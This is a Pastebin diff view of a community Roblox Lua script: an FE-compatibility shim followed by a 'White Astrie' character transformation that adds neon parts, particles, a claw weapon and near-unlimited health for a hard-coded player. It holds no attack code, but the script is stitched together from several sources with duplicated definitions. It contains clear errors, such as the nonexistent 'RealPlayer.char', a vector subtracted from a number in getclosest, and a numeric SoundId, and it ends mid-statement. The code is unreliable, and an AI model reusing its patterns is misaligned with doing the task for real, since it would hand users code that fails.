View difference between Paste ID: 5NDd3fGA and kbEyHNwi
SHOW: | | - or go back to the newest paste.
1
--https://github.com/Mokiros/roblox-FE-compatibility
2
if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
3
local Player,game,owner = owner,game
4
local RealPlayer = Player
5
do
6
	print("FE Compatibility code V2 by Mokiros")
7
	local RealPlayer = RealPlayer
8
	script.Parent = RealPlayer.Character
9
10
	--Fake event to make stuff like Mouse.KeyDown work
11
	local Disconnect_Function = function(this)
12
		this[1].Functions[this[2]] = nil
13
	end
14
	local Disconnect_Metatable = {__index={disconnect=Disconnect_Function,Disconnect=Disconnect_Function}}
15
	local FakeEvent_Metatable = {__index={
16
		Connect = function(this,f)
17
			local i = tostring(math.random(0,10000))
18
			while this.Functions[i] do
19
				i = tostring(math.random(0,10000))
20
			end
21
			this.Functions[i] = f
22
			return setmetatable({this,i},Disconnect_Metatable)
23
		end
24
	}}
25
	FakeEvent_Metatable.__index.connect = FakeEvent_Metatable.__index.Connect
26
	local function fakeEvent()
27
		return setmetatable({Functions={}},FakeEvent_Metatable)
28
	end
29
30
	--Creating fake input objects with fake variables
31
    local FakeMouse = {Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent(),Button2Up=fakeEvent(),Button2Down=fakeEvent()}
32
    FakeMouse.keyUp = FakeMouse.KeyUp
33
    FakeMouse.keyDown = FakeMouse.KeyDown
34
	local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
35
	local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
36
		CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
37
	end}
38
	--Merged 2 functions into one by checking amount of arguments
39
	CAS.UnbindAction = CAS.BindAction
40
41
	--This function will trigger the events that have been :Connect()'ed
42
	local function TriggerEvent(self,ev,...)
43
		for _,f in pairs(self[ev].Functions) do
44
			f(...)
45
		end
46
	end
47
	FakeMouse.TriggerEvent = TriggerEvent
48
	UIS.TriggerEvent = TriggerEvent
49
50
	--Client communication
51
	local Event = Instance.new("RemoteEvent")
52
	Event.Name = "UserInput_Event"
53
	Event.OnServerEvent:Connect(function(plr,io)
54
	    if plr~=RealPlayer then return end
55
		FakeMouse.Target = io.Target
56
		FakeMouse.Hit = io.Hit
57
		if not io.isMouse then
58
			local b = io.UserInputState == Enum.UserInputState.Begin
59
			if io.UserInputType == Enum.UserInputType.MouseButton1 then
60
				return FakeMouse:TriggerEvent(b and "Button1Down" or "Button1Up")
61
			end
62
			if io.UserInputType == Enum.UserInputType.MouseButton2 then
63
				return FakeMouse:TriggerEvent(b and "Button2Down" or "Button2Up")
64
			end
65
			for _,t in pairs(CAS.Actions) do
66
				for _,k in pairs(t.Keys) do
67
					if k==io.KeyCode then
68
						t.Function(t.Name,io.UserInputState,io)
69
					end
70
				end
71
			end
72
			FakeMouse:TriggerEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
73
			UIS:TriggerEvent(b and "InputBegan" or "InputEnded",io,false)
74
	    end
75
	end)
76
	Event.Parent = NLS([==[local Event = script:WaitForChild("UserInput_Event")
77
	local Mouse = owner:GetMouse()
78
	local UIS = game:GetService("UserInputService")
79
	local input = function(io,RobloxHandled)
80
		if RobloxHandled then return end
81
		--Since InputObject is a client-side instance, we create and pass table instead
82
		Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
83
	end
84
	UIS.InputBegan:Connect(input)
85
	UIS.InputEnded:Connect(input)
86
87
	local h,t
88
	--Give the server mouse data every second frame, but only if the values changed
89
	--If player is not moving their mouse, client won't fire events
90
	local HB = game:GetService("RunService").Heartbeat
91
	while true do
92
		if h~=Mouse.Hit or t~=Mouse.Target then
93
			h,t=Mouse.Hit,Mouse.Target
94
			Event:FireServer({isMouse=true,Target=t,Hit=h})
95
		end
96
		--Wait 2 frames
97
		for i=1,2 do
98
			HB:Wait()
99
		end
100
	end]==],script)
101
102
	----Sandboxed game object that allows the usage of client-side methods and services
103
	--Real game object
104
	local RealGame = game
105
106
	--Metatable for fake service
107
	local FakeService_Metatable = {
108
		__index = function(self,k)
109
			local s = rawget(self,"_RealService")
110
			if s then
111
				return typeof(s[k])=="function"
112
				and function(_,...)return s[k](s,...)end or s[k]
113
			end
114
		end,
115
		__newindex = function(self,k,v)
116
			local s = rawget(self,"_RealService")
117
			if s then s[k]=v end
118
		end
119
	}
120
	local function FakeService(t,RealService)
121
		t._RealService = typeof(RealService)=="string" and RealGame:GetService(RealService) or RealService
122
		return setmetatable(t,FakeService_Metatable)
123
	end
124
125
	--Fake game object
126
	local FakeGame = {
127
		GetService = function(self,s)
128
			return rawget(self,s) or RealGame:GetService(s)
129
		end,
130
		Players = FakeService({
131
			LocalPlayer = FakeService({GetMouse=function(self)return FakeMouse end},Player)
132
		},"Players"),
133
		UserInputService = FakeService(UIS,"UserInputService"),
134
		ContextActionService = FakeService(CAS,"ContextActionService"),
135
		RunService = FakeService({
136
			_btrs = {},
137
			RenderStepped = RealGame:GetService("RunService").Heartbeat,
138
			BindToRenderStep = function(self,name,_,fun)
139
				self._btrs[name] = self.Heartbeat:Connect(fun)
140
			end,
141
			UnbindFromRenderStep = function(self,name)
142
				self._btrs[name]:Disconnect()
143
			end,
144
		},"RunService")
145
	}
146
	rawset(FakeGame.Players,"localPlayer",FakeGame.Players.LocalPlayer)
147
	FakeGame.service = FakeGame.GetService
148
	FakeService(FakeGame,game)
149
	--Changing owner to fake player object to support owner:GetMouse()
150
	game,owner = FakeGame,FakeGame.Players.LocalPlayer
151
end
152
---White Astrie, edited by Sla0, Credit to original creator!---
153
paly = game.Players.ThatProGamerKilledU
154
Player = game:GetService("Players").ThatProGamerKilledU
155
p = game.Players.ThatProGamerKilledU
156
char = paly.Character
157
vt = Vector3.new
158
rarm = char["Right Arm"]
159
hed = char.Head
160
larm = char["Left Arm"]
161
rleg = char["Right Leg"]
162
lleg = char["Left Leg"]
163
local maincolor = BrickColor.random()
164
local effolemode = false
165
local wrathmode = false
166
local noobmode = false
167
local randomname = "???"
168
local randomnamefem = "???"
169
local randomchanger = 6
170
if paly.Name == "NoobyGames12" then
171
randomchanger = 6
172
end
173
if randomchanger == 6 then
174
randomnamefem = "Astrie"
175
effolemode = true
176
maincolor = BrickColor.new("White")
177
178
local torsmesh = Instance.new("CharacterMesh", char)
179
torsmesh.BodyPart = "Torso"
180
torsmesh.MeshId = "48112070"
181
local dec2 = Instance.new("Decal", char)
182
dec2.Face = "Front"
183
dec2.Texture = "rbxassetid://381091841"
184-
dec2.Parent = RealPlayer.char.Head
184+
dec2.Parent = char.Head
185
char.Head.face.Transparency = 1
186
char.Head.face.Texture = "http://www.roblox.com/asset/?id=0"
187
188
for i,v in pairs(char:children()) do
189
    if v:IsA("Hat") then
190
        v:Destroy()
191
    end
192
end
193
for i,v in pairs(char:children()) do
194
    if v:IsA("Accessory") then
195
        v:Destroy()
196
    end
197
end
198
for i,v in pairs(char:children()) do
199
    if v:IsA("Hair") then
200
        v:Destroy()
201
    end
202
end
203
for i,v in pairs(char:children()) do
204
    if v:IsA("Shirt") then
205
        v:Destroy()
206
    end
207
end
208
for i,v in pairs(char:children()) do
209
    if v:IsA("Pants") then
210
        v:Destroy()
211
    end
212
end
213
214
local eye12 = Instance.new("Part")
215-
eye12.Parent = RealpLayer.char
215+
eye12.Parent = RealPlayer.char
216
eye12.Size = Vector3.new(0.2, 0.2, 0.2)
217
eye12.Archivable = true
218
eye12.Transparency = 0
219
eye12.Shape = "Ball"
220
eye12.BrickColor = maincolor
221
eye12.Material = "Neon"
222
eye12.CanCollide = false
223
local mesh2 = Instance.new("SpecialMesh",eye12)
224
mesh2.MeshType = "Sphere"
225
mesh2.Scale = Vector3.new(0.75, 1, 1)
226
local weld1en2 = Instance.new("Weld")
227
weld1en2.Parent = hed
228
weld1en2.Part0 = hed
229
weld1en2.Part1 = eye12
230
weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475)
231
local eye1 = Instance.new("Part")
232
eye1.Parent = RealPlayer.char
233
eye1.Size = Vector3.new(0.2, 0.2, 0.2)
234
eye1.Archivable = true
235
eye1.Transparency = 0
236
eye1.Shape = "Ball"
237
eye1.BrickColor = maincolor
238
eye1.Material = "Neon"
239
eye1.CanCollide = false
240
local mesh = Instance.new("SpecialMesh",eye1)
241
mesh.MeshType = "Sphere"
242
mesh.Scale = Vector3.new(0.75, 1, 1)
243
local weld1en = Instance.new("Weld")
244
weld1en.Parent = hed
245
weld1en.Part0 = hed
246
weld1en.Part1 = eye1
247
weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475)
248
249
local BC = char["Body Colors"]
250
BC.HeadColor = BrickColor.new("White")
251
BC.LeftArmColor = BrickColor.new("White")
252
BC.LeftLegColor = BrickColor.new("White")
253
BC.RightArmColor = BrickColor.new("White")
254
BC.RightLegColor = BrickColor.new("White")
255
BC.TorsoColor = BrickColor.new("White")
256
257
ypcall(function()
258
shirt = Instance.new("Shirt", char)
259
shirt.Name = "Shirt"
260
pants = Instance.new("Pants", char)
261
pants.Name = "Pants"
262
char.Shirt.ShirtTemplate = "rbxassetid://211752973"
263
char.Pants.PantsTemplate = "rbxassetid://179059579"
264
end)
265
Reaper2 = Instance.new("Model")
266
Reaper2.Parent = RealPlayer.Character
267
Reaper2.Name = "Reaper2"
268
rh2 = Instance.new("Part")
269
rh2.Parent = Reaper2
270
rh2.BrickColor = maincolor
271
rh2.Locked = true
272
rh2.CanCollide = false
273
mesh2 = Instance.new("SpecialMesh")
274
rh2.formFactor =  "Symmetric"
275
mesh2.MeshType = "FileMesh"
276
mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431"
277
mesh2.Parent = rh2
278
local weld2 = Instance.new("Weld")
279
weld2.Parent = rh2
280
rh2.Transparency = 0
281
weld2.Part0 = rh2
282
weld2.Part1 = Player.Character.Head
283
weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0)
284
285
Reaper3 = Instance.new("Model")
286
Reaper3.Parent = RealPlayer.Character
287
Reaper3.Name = "Reaper3"
288
rh3 = Instance.new("Part")
289
rh3.Parent = Reaper3
290
rh3.BrickColor = BrickColor.new("White")
291
rh3.Locked = true
292
rh3.CanCollide = false
293
mesh3 = Instance.new("SpecialMesh")
294
rh3.formFactor =  "Symmetric"
295
mesh3.MeshType = "FileMesh"
296
mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852"
297
mesh3.Parent = rh3
298
local weld3 = Instance.new("Weld")
299
weld3.Parent = rh3
300
rh3.Transparency = 0
301
weld3.Part0 = rh3
302
weld3.Part1 = Player.Character.Head
303
weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0)
304
305
local orbe = Instance.new("Part")
306
orbe.Parent = RealPlayer.char
307
orbe.Size = Vector3.new(0.2, 0.2, 0.2)
308
orbe.Archivable = true
309
orbe.Transparency = 1
310
orbe.BrickColor = maincolor
311
orbe.Material = "Neon"
312
orbe.CanCollide = false
313
local weld1e = Instance.new("Weld")
314
weld1e.Parent = rleg
315
weld1e.Part0 = rleg
316
weld1e.Part1 = orbe
317
weld1e.C1 = CFrame.new(0, 1.125, 0)
318
local pt1e = NumberSequenceKeypoint.new(0,0.85,0)
319
local pt2e = NumberSequenceKeypoint.new(1,0,0)
320
local effectoe = Instance.new("ParticleEmitter",orbe)
321
effectoe.LightEmission = 1
322
effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds"
323
effectoe.Color = ColorSequence.new(maincolor.Color)
324
effectoe.Rate = 10000
325
effectoe.Lifetime = NumberRange.new(1)
326
effectoe.Size = NumberSequence.new({pt1e,pt2e})
327
effectoe.Speed = NumberRange.new(0,0)
328
effectoe.RotSpeed = NumberRange.new(100,100)
329
330
local orbze = Instance.new("Part")
331
orbze.Parent = RealPlayer.char
332
orbze.Size = Vector3.new(0.2, 0.2, 0.2)
333
orbze.Archivable = true
334
orbze.Transparency = 1
335
orbze.BrickColor = maincolor
336
orbze.Material = "Neon"
337
orbze.CanCollide = false
338
local weldz1 = Instance.new("Weld")
339
weldz1.Parent = lleg
340
weldz1.Part0 = lleg
341
weldz1.Part1 = orbze
342
weldz1.C1 = CFrame.new(0, 1.125, 0)
343
local effectone = Instance.new("ParticleEmitter",orbze)
344
effectone.LightEmission = 1
345
effectone.Texture = "rbxasset://textures/particles/smoke_main.dds"
346
effectone.Color = ColorSequence.new(maincolor.Color)
347
effectone.Rate = 10000
348
effectone.Lifetime = NumberRange.new(1)
349
effectone.Size = NumberSequence.new({pt1e,pt2e})
350
effectone.Speed = NumberRange.new(0,0)
351
effectone.RotSpeed = NumberRange.new(100,100)
352
end
353
354
if effolemode == true then
355
maincolor = BrickColor.new("White")
356
end
357
358
local orb = Instance.new("Part")
359
orb.Parent = RealPlayer.char
360
orb.Size = Vector3.new(1, 1, 1)
361
orb.Archivable = true
362
orb.Transparency = 1
363
orb.BrickColor = BrickColor.new("Bright orange")
364
orb.Material = "Wood"
365
orb.CanCollide = false
366
local weld1 = Instance.new("Weld")
367
weld1.Parent = rarm
368
weld1.Part0 = rarm
369
weld1.Part1 = orb
370
weld1.C1 = CFrame.new(0, 1.125, 0)
371
local pt1 = NumberSequenceKeypoint.new(0,0.475,0)
372
local pt2 = NumberSequenceKeypoint.new(1,0,0)
373
local effecto = Instance.new("ParticleEmitter",orb)
374
effecto.LightEmission = 1
375
effecto.Texture = "rbxasset://textures/particles/smoke_main.dds"
376
effecto.Color = ColorSequence.new(maincolor.Color)
377
effecto.Rate = 10000
378
effecto.Lifetime = NumberRange.new(1)
379
effecto.Size = NumberSequence.new({pt1,pt2})
380
effecto.Speed = NumberRange.new(0,0)
381
effecto.RotSpeed = NumberRange.new(100,100)
382
383
local orbz = Instance.new("Part")
384
orbz.Parent = RealPlayer.char
385
orbz.Size = Vector3.new(1, 1, 1)
386
orbz.Archivable = true
387
orbz.Transparency = 1
388
orbz.BrickColor = BrickColor.new("Bright orange")
389
orbz.Material = "Wood"
390
orbz.CanCollide = false
391
local weldz1 = Instance.new("Weld")
392
weldz1.Parent = larm
393
weldz1.Part0 = larm
394
weldz1.Part1 = orbz
395
weldz1.C1 = CFrame.new(0, 1.125, 0)
396
local effecton = Instance.new("ParticleEmitter",orbz)
397
effecton.LightEmission = 1
398
effecton.Texture = "rbxasset://textures/particles/smoke_main.dds"
399
effecton.Color = ColorSequence.new(maincolor.Color)
400
effecton.Rate = 10000
401
effecton.Lifetime = NumberRange.new(1)
402
effecton.Size = NumberSequence.new({pt1,pt2})
403
effecton.Speed = NumberRange.new(0,0)
404
effecton.RotSpeed = NumberRange.new(100,100)
405
406
407
p = game.Players.ThatProGamerKilledU
408
char = p.Character
409
torso = char.Torso
410
neck = char.Torso.Neck
411
hum = char.Humanoid
412
hum.MaxHealth = 999999
413
wait()
414
hum.Health =hum.MaxHealth
415
416
CV="Hot pink"
417
	
418
local txt = Instance.new("BillboardGui", char)
419
txt.Adornee = char .Head
420
txt.Name = "_status"
421
txt.Size = UDim2.new(2, 0, 1.2, 0)
422
txt.StudsOffset = Vector3.new(-9, 8, 0)
423
local text = Instance.new("TextLabel", txt)
424
text.Size = UDim2.new(10, 0, 7, 0)
425
text.FontSize = "Size24"
426
text.TextScaled = true
427
text.TextTransparency = 0
428
text.BackgroundTransparency = 1 
429
text.TextTransparency = 0
430
text.TextStrokeTransparency = 0
431
text.Font = "SciFi"
432
text.TextStrokeColor3 = Color3.new(0,0,0)
433
434
v=Instance.new("Part")
435
v.Name = "ColorBrick"
436
v.Parent=p.Character
437
v.FormFactor="Symmetric"
438
v.Anchored=true
439
v.CanCollide=false
440
v.BottomSurface="Smooth"
441
v.TopSurface="Smooth"
442
v.Size=Vector3.new(10,5,3)
443
v.Transparency=1
444
v.CFrame=char.Torso.CFrame
445
v.BrickColor=BrickColor.new(CV)
446
v.Transparency=1
447
text.TextColor3 = BrickColor.new("White").Color
448
v.Shape="Block"
449
text.Text = "White Astrie"
450
451
452
euler = CFrame.fromEulerAnglesXYZ
453
angles = CFrame.Angles
454
local player = "ThatProGamerKilledU"
455
local Character = game.Players[player].Character
456
it = Instance.new
457
vt = Vector3.new
458
bc = BrickColor.new
459
cf = CFrame.new
460
mr = math.rad
461
local Weapon = {}
462
local p = game.Players.ThatProGamerKilledU
463
local char = p.Character
464
local larm = char["Left Arm"]
465
local rarm = char["Right Arm"]
466
local lleg = char["Left Leg"]
467
local rleg = char["Right Leg"]
468
local hed = char.Head
469
local torso = char.Torso
470
local hum = char.Humanoid
471
local cam = game.Workspace.CurrentCamera
472
local root = char.HumanoidRootPart
473
local deb = false
474
local shot = 0
475
476
local debris=game:service"Debris"
477
local l = game:GetService("Lighting")
478
local rs = game:GetService("RunService").RenderStepped
479
ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
480
math.randomseed(os.time())
481
for i,v in pairs (hed:GetChildren()) do
482
        if v:IsA("Sound") then
483
                v:Destroy()
484
        end
485
end
486
---------------------------------------------------- BeastClaw
487
NoOutline = function(Part)
488
  Part.TopSurface = 10
489
end
490
part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size)
491
  local fp = it("Part")
492
  fp.formFactor = formfactor
493
  fp.Parent = parent
494
  fp.Reflectance = reflectance
495
  fp.Transparency = transparency
496
  fp.CanCollide = false
497
  fp.Locked = true
498
  fp.BrickColor = brickcolor
499
  fp.Name = name
500
  fp.Size = size
501
  NoOutline(fp)
502
  fp.Material = "Neon"
503
  fp:BreakJoints()
504
  return fp
505
end
506
mesh = function(Mesh, part, meshtype, meshid, offset, scale)
507
  local mesh = it(Mesh)
508
  mesh.Parent = part
509
  if Mesh == "SpecialMesh" then
510
    mesh.MeshType = meshtype
511
    if meshid ~= "nil" then
512
      mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid
513
    end
514
  end
515
  mesh.Offset = offset
516
  mesh.Scale = scale
517
  return mesh
518
end
519
weld = function(parent, part0, part1, c0)
520
  local weld = it("Motor6D")
521
  weld.Parent = parent
522
  weld.Part0 = part0
523
  weld.Part1 = part1
524
  weld.C0 = c0
525
  return weld
526
end
527
gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image)
528
  local gui = it(GuiType)
529
  gui.Parent = parent
530
  gui.BackgroundTransparency = backtrans
531
  gui.BackgroundColor3 = backcol
532
  gui.SizeConstraint = "RelativeXY"
533
  gui.Position = pos
534
  gui.Size = size
535
  if GuiType == "TextLabel" then
536
    gui.Text = text
537
    gui.TextXAlignment = "Center"
538
    gui.TextYAlignment = "Center"
539
    gui.Font = "SourceSans"
540
    gui.FontSize = "Size14"
541
    gui.TextWrapped = false
542
    gui.TextStrokeTransparency = 0
543
    gui.TextColor = TorsoColor
544
  else
545
    if GuiType == "ImageLabel" then
546
      gui.Image = "rbxassetid://" .. image
547
      gui.ImageColor3 = backcol
548
    end
549
  end
550
  return gui
551
end
552
local handle = nil
553
AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef)
554
  prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
555
  prt.Material = neon
556
  msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
557
  wld = weld(handle, prt, wldpar, ceef)
558
  v = it("NumberValue", prt)
559
  v.Value = trans
560
  v.Name = "MainTransparency"
561
  return prt, msh, wld
562
end
563
AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare)
564
  prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt())
565
  prt.Material = neon
566
  msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1))
567
  wld = weld(wldpare, prt, wldpar, ceef)
568
  v = it("NumberValue", prt)
569
  v.Value = trans
570
  v.Name = "MainTransparency"
571
  return prt, msh, wld
572
end
573
local modelzorzez = Instance.new("Model")
574
modelzorzez.Parent = workspace.CurrentCamera
575
modelzorzez.Name = "none"
576
local Torso = Character.Torso
577
local LeftArm = Character["Left Arm"]
578
local RightArm = Character["Right Arm"]
579
local LeftLeg = Character["Left Leg"]
580
local RightLeg = Character["Right Leg"]
581
local Head = Character.Head
582
local RootPart = Character.HumanoidRootPart
583
handle = part(3, modelzorzez, 0, 1, BrickColor.new("White"), "Handle", vt())
584
local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7))
585
586
-- SAHHHH DUUDEEE
587
588
589
590
591
-- params : ...
592
593
wait(0.016666666666667)
594
script.Archivable = false
595
Effects = {}
596
local Player = game.Players.ThatProGamerKilledU
597
local Character = Player.Character
598
local Humanoid = Character.Humanoid
599
local m = Instance.new("Model", Character)
600
m.Name = "WeaponModel"
601
local effect = Instance.new("Model", Character)
602
effect.Name = "effecsfsafzx"
603
local demon = Instance.new("Model", Character)
604
demon.Name = "demdemd"
605
local LeftArm = Character["Left Arm"]
606
local RightArm = Character["Right Arm"]
607
local LeftLeg = Character["Left Leg"]
608
local RightLeg = Character["Right Leg"]
609
local do2target = nil
610
local Head = Character.Head
611
local Torso = Character.Torso
612
TorsoColor = BrickColor.new("White")
613
z = Instance.new("Sound", Torso)
614
z.SoundId = "rbxassetid://0" -- 392759567
615
z.Looped = true
616
z.Pitch = 0
617
z.Volume = 0
618
wait(.1)
619
z:Play()
620
local cam = game.Workspace.CurrentCamera
621
local RootPart = Character.HumanoidRootPart
622
local RootJoint = RootPart.RootJoint
623
local equipped = false
624
local attack = false
625
local Anim = "Idle"
626
local idle = 0
627
local attacktype = 1
628
local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude
629
local velocity = RootPart.Velocity.y
630
local sine = 0
631
local change = 1
632
local mana = 0
633
local it = Instance.new
634
vt = Vector3.new
635
local grabbed = false
636
local cf = CFrame.new
637
local mr = math.rad
638
local angles = CFrame.Angles
639
local ud = UDim2.new
640
local c3 = Color3.new
641
clerp = function(a, b, t)
642
  
643
  return a:lerp(b, t)
644
end
645
646
local RbxUtility = LoadLibrary("RbxUtility")
647
local Create = RbxUtility.Create
648
RemoveOutlines = function(part)
649
  
650
  part.TopSurface = 10
651
end
652
653
CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
654
  
655
  local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
656
  RemoveOutlines(Part)
657
  return Part
658
end
659
660
CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
661
  
662
  local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale})
663
  if Mesh == "SpecialMesh" then
664
    Msh.MeshType = MeshType
665
    Msh.MeshId = MeshId
666
  end
667
  return Msh
668
end
669
670
local co1 = 3
671
local co2 = 10
672
local co3 = 15
673
local co4 = 30
674
local cooldown1 = 0
675
local cooldown2 = 0
676
local cooldown3 = 0
677
local cooldown4 = 0
678
local maxEnergy = 100
679
local Energy = 0
680
local skill1stam = 1000
681
local skill2stam = 1000
682
local skill3stam = 1000
683
local skill4stam = 1000
684
local recovermana = 5
685
local skillcolorscheme = BrickColor.new("White").Color
686
local scrn = Instance.new("ScreenGui", Player.PlayerGui)
687
makeframe = function(par, trans, pos, size, color)
688
  
689
  local frame = Instance.new("Frame", par)
690
  frame.BackgroundTransparency = trans
691
  frame.BorderSizePixel = 0
692
  frame.Position = pos
693
  frame.Size = size
694
  frame.BackgroundColor3 = color
695
  return frame
696
end
697
698
makelabel = function(par, text)
699
  
700
  local label = Instance.new("TextLabel", par)
701
  label.BackgroundTransparency = 1
702
  label.Size = UDim2.new(1, 0, 1, 0)
703
  label.Position = UDim2.new(0, 0, 0, 0)
704
  label.TextColor3 = Color3.new(255, 255, 255)
705
  label.TextStrokeTransparency = 0
706
  label.FontSize = Enum.FontSize.Size32
707
  label.Font = Enum.Font.SourceSansLight
708
  label.BorderSizePixel = 0
709
  label.TextScaled = true
710
  label.Text = text
711
end
712
713
ArtificialHB = Instance.new("BindableEvent", script)
714
ArtificialHB.Name = "Heartbeat"
715
script:WaitForChild("Heartbeat")
716
frame = 0.033333333333333
717
tf = 0
718
allowframeloss = false
719
tossremainder = false
720
lastframe = tick()
721
script.Heartbeat:Fire()
722
game:GetService("RunService").Heartbeat:connect(function(s, p)
723
  
724
  tf = tf + s
725
  if frame <= tf then
726
    if allowframeloss then
727
      script.Heartbeat:Fire()
728
      lastframe = tick()
729
    else
730
      for i = 1, math.floor(tf / frame) do
731
        script.Heartbeat:Fire()
732
      end
733
      lastframe = tick()
734
    end
735
    if tossremainder then
736
      tf = 0
737
    else
738
      tf = tf - frame * math.floor(tf / frame)
739
    end
740
  end
741
end
742
)
743
swait = function(num)
744
  
745
  if num == 0 or num == nil then
746
    ArtificialHB.Event:wait()
747
  else
748
    for i = 0, num do
749
      ArtificialHB.Event:wait()
750
    end
751
  end
752
end
753
754
CreateWeld = function(Parent, Part0, Part1, C0, C1)
755
  
756
  local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1})
757
  return Weld
758
end
759
760
rayCast = function(Position, Direction, Range, Ignore)
761
  
762
  return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore)
763
end
764
765
CreateSound = function(id, par, vol, pit)
766
  
767
  coroutine.resume(coroutine.create(function()
768
    
769
    local sou = Instance.new("Sound", par or workspace)
770
    sou.Volume = vol
771
    sou.Pitch = pit or 1
772
    sou.SoundId = 392759567
773
    swait()
774
    sou:play()
775
    game:GetService("Debris"):AddItem(sou, 6)
776
  end
777
))
778
end
779
780
local getclosest = function(obj, distance)
781
  
782
  local last, lastx = distance + 1, nil
783
  for i,v in pairs(workspace:GetChildren()) do
784
    if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then
785
      local t = v.Torso
786
      local dist = t.Position - obj.Position.magnitude
787
      if dist <= distance and dist < last then
788
        last = dist
789
        lastx = v
790
      end
791
    end
792
  end
793
  return lastx
794
end
795
796
CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size)
797
  
798
  if PartType == "Part" then
799
    local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
800
    RemoveOutlines(Part)
801
    return Part
802
  else
803
    do
804
      if PartType == "WedgePart" then
805
        local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material})
806
        RemoveOutlines(Part)
807
        return Part
808
      end
809
    end
810
  end
811
end
812
813
Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1))
814
HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
815
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
816
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0))
817
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006))
818
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
819
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365))
820
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001))
821
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
822
ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0))
823
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001))
824
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
825
